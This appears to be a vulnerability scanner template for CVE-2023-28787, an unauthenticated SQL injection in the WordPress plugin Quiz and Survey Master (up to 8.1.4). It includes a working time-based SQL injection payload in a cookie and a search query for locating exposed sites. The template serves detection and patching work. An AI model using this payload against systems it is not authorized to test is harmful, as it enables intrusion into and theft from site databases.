Quiz and Survey Master <= 8.1.4 - SQL Injection

id: CVE-2023-28787

info:
  name: Quiz and Survey Master <= 8.1.4 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    ExpressTech Quiz And Survey Master (versions up to 8.1.4) contains an SQL injection caused by improper neutralization of special elements used in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires user interaction.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
  remediation: |
    Update to the latest version of Quiz And Survey Master that addresses this vulnerability.
  reference:
    - https://patchstack.com/articles/critical-unauthenticated-sql-injection-in-quiz-and-survey-master/
    - https://patchstack.com/database/wordpress/plugin/quiz-master-next/vulnerability/wordpress-quiz-and-survey-master-plugin-8-1-4-unauthenticated-sql-injection-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2023-28787
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2023-28787
    cwe-id: CWE-89
    epss-score: 0.0196
    epss-percentile: 0.80485
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/quiz-master-next"
  tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,quiz-master-next,qsm

http:
  - raw:
      - |
        @timeout: 30s
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: question_ids_1=1) AND SLEEP(8)-- -

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains_all(body, "quiz-master-next", "qsm_")'
        condition: and